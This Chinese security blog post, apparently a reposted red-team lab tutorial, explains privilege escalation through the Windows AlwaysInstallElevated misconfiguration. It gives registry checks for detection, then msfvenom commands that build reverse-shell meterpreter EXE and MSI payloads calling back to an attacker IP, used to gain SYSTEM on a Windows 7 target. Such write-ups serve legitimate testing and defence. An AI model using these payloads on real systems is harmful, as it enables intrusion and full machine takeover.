文章总结： 文章指出当注册表HKLM与HKCU的AlwaysInstallElevated均被设为1时，普通用户可借助msiexec在SYSTEM权限下安装恶意MSI实现提权。作者给出组策略与regquery检测方法，并用msfvenom生成EXE/MSI木马，配合HTTP分发与multi/handler监听，在Win7靶机一键getsystem。全程步骤清晰，截图完整，适合红队快速利用与防御排查。 综合评分： 82 文章分类： 红队,内网渗透,安全工具,漏洞分析,渗透测试

Windows AlwaysInstallElevated配置错误导致的提权

原创

晨星安全团队

晨星安全团队

2026年1月5日 11:20 湖南

AlwaysInstallElevated提权

一、漏洞原理

如果系统管理员错误地同时开启了HKLM和HKCU的AlwaysInstallElevated = 1，那么：

1. 任意用户（包括低权限普通用户） 可以运行msiexec.exe /i malicious.msi
2. 因为策略允许以SYSTEM权限安装MSI， 所以msiexec.exe会把这个恶意MSI包在SYSTEM权限下执行
3. 攻击者只需构造一个恶意MSI包，在安装脚本中放置任意代码（例如写入管理员账户、启动反弹shell、执行木马）
4. 结果：普通用户→SYSTEM提权

二、漏洞检测

组策略验证

搭建环境，win+r运行gpedit.msc

计算机配置 –> 管理模板 –> Windows 组件 –> Windows Installer

点击“始终以提升的权限进行安装”，选择“已启用”，点击确定即可

注册表查询

实战中只需要查看注册表中的两项值是否为0x1 , 也就是开启状态 , 如果是开启的 , 说明存在错误配置提权漏洞

reg query HKEY_LOCAL_MACHINEsoftwarepoliciesmicrosoftwindowsinstaller
reg query HKEY_CURRENT_USERsoftwarepoliciesmicrosoftwindowsinstaller

三、实战验证

生成恶意MSI包

使用MSF生成木马远程连接

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.41.156 LPORT=8001 -f
exe > AlwaysInstallElevated.exe

搭建HTTP服务供靶机下载

开启HTTP服务

靶机访问下载

攻击机开启监听

使用监听模块

配好参数开始监听

Windows 7运行上线

bg放后台

靶机执行恶意MSI包

生成一个msi文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.41.156 lport=8445 -f
msi > AlwaysInstallElevated.msi

更改端口运行

靶机下载上线（或者MSF直接传过去运行）

成功提权至SYSTEM

上线成功

SYSTEM权限

-END-

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：晨星安全团队 晨星安全团队《Windows AlwaysInstallElevated配置错误导致的提权》